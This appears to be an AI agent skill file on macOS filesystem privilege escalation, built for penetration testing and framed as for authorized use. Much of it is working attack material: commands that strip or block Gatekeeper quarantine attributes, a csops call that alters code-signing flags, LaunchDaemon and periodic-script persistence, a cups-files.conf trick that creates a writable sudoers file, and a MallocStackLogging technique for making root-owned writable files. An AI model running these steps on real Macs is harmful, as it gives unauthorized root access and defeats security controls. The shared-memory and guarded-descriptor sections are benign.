macos-fs-tricks

name

macos-fs-tricks

description

Use this skill whenever you need to understand or apply macOS filesystem-based privilege escalation techniques, including POSIX permissions, symbolic/hard links, file descriptor manipulation, quarantine bypasses, code signature bypasses, and arbitrary write exploitation. Make sure to use this skill when investigating macOS security, performing penetration testing, analyzing privilege escalation paths, or working with macOS filesystem security mechanisms.

macOS Filesystem Tricks for Privilege Escalation

This skill provides techniques for understanding and exploiting macOS filesystem security mechanisms for privilege escalation. Use these methods for authorized security assessments and penetration testing only.

Quick Reference

• POSIX Permissions: Understand dangerous permission combinations
• Symlink/Hard Link Attacks: Redirect privileged writes
• File Descriptor Leaks: Inherit privileged FDs
• Quarantine Bypasses: Remove Gatekeeper restrictions
• Code Signature Bypasses: Modify signed bundles
• Arbitrary Writes: Exploit write vulnerabilities

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POSIX Permissions

Directory Permissions

Permission	Effect
read	Enumerate directory entries
write	Delete/write files, delete empty folders
execute	Traverse directory (access files inside)

Dangerous Combinations

An attacker can inject symlinks/hard links to obtain privileged arbitrary write when:

1. One parent directory owner in the path is the user
2. One parent directory owner in the path is a users group with write access
3. A users group has write access to the file

Folder Root R+X Special Case

If a directory has only root R+X access, files inside are inaccessible to others. A vulnerability allowing file movement from this folder to another could be abused to read these files.

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Symbolic Link / Hard Link Attacks

Permissive File/Folder

If a privileged process writes to a file that a lower-privileged user can control or pre-create, the user can point it to another file via symlink/hard link.

O_NOFOLLOW Flag

• O_NOFOLLOW: Won't follow symlink in last path component, but follows rest of path
• O_NOFOLLOW_ANY: Correct way to prevent following symlinks in entire path

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.fileloc Files

Files with .fileloc extension point to other applications/binaries. When opened, the referenced application executes.

Example .fileloc structure:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>URL</key>
    <string>file:///System/Applications/Calculator.app</string>
    <key>URLPrefix</key>
    <integer>0</integer>
</dict>
</plist>

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File Descriptor Leaks

Leak FD (no O_CLOEXEC)

If open() doesn't use O_CLOEXEC, the file descriptor is inherited by child processes.

Exploitation pattern:

1. Make a privileged process open a file with high privileges
2. Use crontab with EDITOR=exploit.py to get the FD
3. The exploit script inherits the FD to the privileged file

Example: CVE-2023-32428 - macOS LPE via MallocStackLogging

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Quarantine xattr Bypasses

Remove Quarantine

xattr -d com.apple.quarantine /path/to/file_or_app

uchg/uchange/uimmutable Flag

Files with immutable attribute cannot have xattrs added:

echo asd > /tmp/asd
chflags uchg /tmp/asd
xattr -w com.apple.quarantine "" /tmp/asd
# xattr: [Errno 1] Operation not permitted

devfs Mount

devfs mounts don't support xattrs (CVE-2023-32364):

mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
# xattr: [Errno 1] Operation not permitted

writeextattr ACL

Prevent xattr addition via ACL:

echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test

com.apple.acl.text xattr + AppleDouble

AppleDouble format copies files including ACEs. The ACL text in com.apple.acl.text xattr is set as ACL in decompressed files.

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Bypass Signature Checks

Platform Binary Checks

Bypass by injecting exploit via dyld using DYLD_INSERT_LIBRARIES environment variable on a platform binary like /bin/ls.

CS_REQUIRE_LV and CS_FORCED_LV Flags

Modify own code signing flags:

int pid = getpid();
NSString *exePath = NSProcessInfo.processInfo.arguments[0];

uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
status |= 0x2000; // CS_REQUIRE_LV
csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS

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Bypass Code Signatures

Bundles contain _CodeSignature/CodeResources with hashes of every file. Files with omit: true in the plist aren't checked:

Common omitted patterns:

• ^Resources/.*\.lproj/locversion.plist$
• ^(.*/index.html)?\.DS_Store$
• ^PkgInfo$

Calculate signature hash:

openssl dgst -binary -sha1 /path/to/file | openssl base64

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Mount DMGs

Create custom DMG with custom content:

# Create volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
mkdir /private/tmp/mnt

# Mount
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null

# Add content
mkdir /private/tmp/mnt/custom_folder
echo "hello" > /private/tmp/mnt/custom_folder/custom_file

# Detach
hdiutil detach /private/tmp/mnt 1>/dev/null

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Arbitrary Writes

Periodic Shell Scripts

Overwrite /etc/periodic/daily/999.local (triggered daily):

sudo periodic daily  # Fake execution

LaunchDaemons

Create /Library/LaunchDaemons/xyz.hacktricks.privesc.plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <dict>
        <key>Label</key>
        <string>com.sample.Load</string>
        <key>ProgramArguments</key>
        <array>
            <string>/Applications/Scripts/privesc.sh</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
    </dict>
</plist>

Sudoers File

Create file in /etc/sudoers.d/ granting sudo privileges.

PATH Files

• /etc/paths - Main PATH population (root only)
• /etc/paths.d/ - Load new folders into PATH

cups-files.conf

Create /etc/cups/cups-files.conf:

ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
<some junk>

This creates /etc/sudoers.d/lpe with 777 permissions. Then write sudoers config and set LogFilePerm 700.

Sandbox Escape

Write Terminal preferences file:

~/Library/Preferences/com.apple.Terminal.plist

Execute command at startup via open.

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Generate Writable Files as Other Users

Create root-owned writable file:

DIRNAME=/usr/local/etc/periodic/daily

mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"

MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername

FILENAME=$(ls "$DIRNAME")
echo $FILENAME

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POSIX Shared Memory

POSIX shared memory enables fast IPC between processes.

Key functions:

• shm_open() - Create/open shared memory object
• ftruncate() - Set size
• mmap() - Map into address space
• munmap() - Unmap
• shm_unlink() - Remove object

Producer example:

#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>

int main() {
    const char *name = "/my_shared_memory";
    const int SIZE = 4096;

    int shm_fd = shm_open(name, O_CREAT | O_RDWR, 0666);
    ftruncate(shm_fd, SIZE);
    void *ptr = mmap(0, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, shm_fd, 0);
    sprintf(ptr, "Hello from Producer!");
    munmap(ptr, SIZE);
    close(shm_fd);
    return 0;
}

Consumer example:

#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>

int main() {
    const char *name = "/my_shared_memory";
    const int SIZE = 4096;

    int shm_fd = shm_open(name, O_RDONLY, 0666);
    void *ptr = mmap(0, SIZE, PROT_READ, MAP_SHARED, shm_fd, 0);
    printf("Consumer received: %s\n", (char *)ptr);
    munmap(ptr, SIZE);
    close(shm_fd);
    shm_unlink(name);
    return 0;
}

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macOS Guarded Descriptors

Security feature to restrict file descriptor operations.

Key functions:

• guarded_open_np() - Open FD with guard
• guarded_close_np() - Close guarded FD
• change_fdguard_np() - Change guard flags

Prevents unauthorized file access and race conditions when FDs are inherited by vulnerable child processes.

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Helper Scripts

Use the bundled scripts for common operations:

• scripts/create-fileloc.sh - Generate .fileloc files
• scripts/create-launchdaemon.sh - Create LaunchDaemon plist
• scripts/quarantine-bypass.sh - Remove quarantine xattrs
• scripts/shared-memory-example.sh - Compile and run shared memory examples

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References

• Exploiting Directory Permissions on macOS
• CVE-2023-32428 - macOS LPE via MallocStackLogging
• CVE-2023-32364 - macOS Sandbox Escape
• Gatekeeper's Achilles Heel
• A New Era of macOS Sandbox Escapes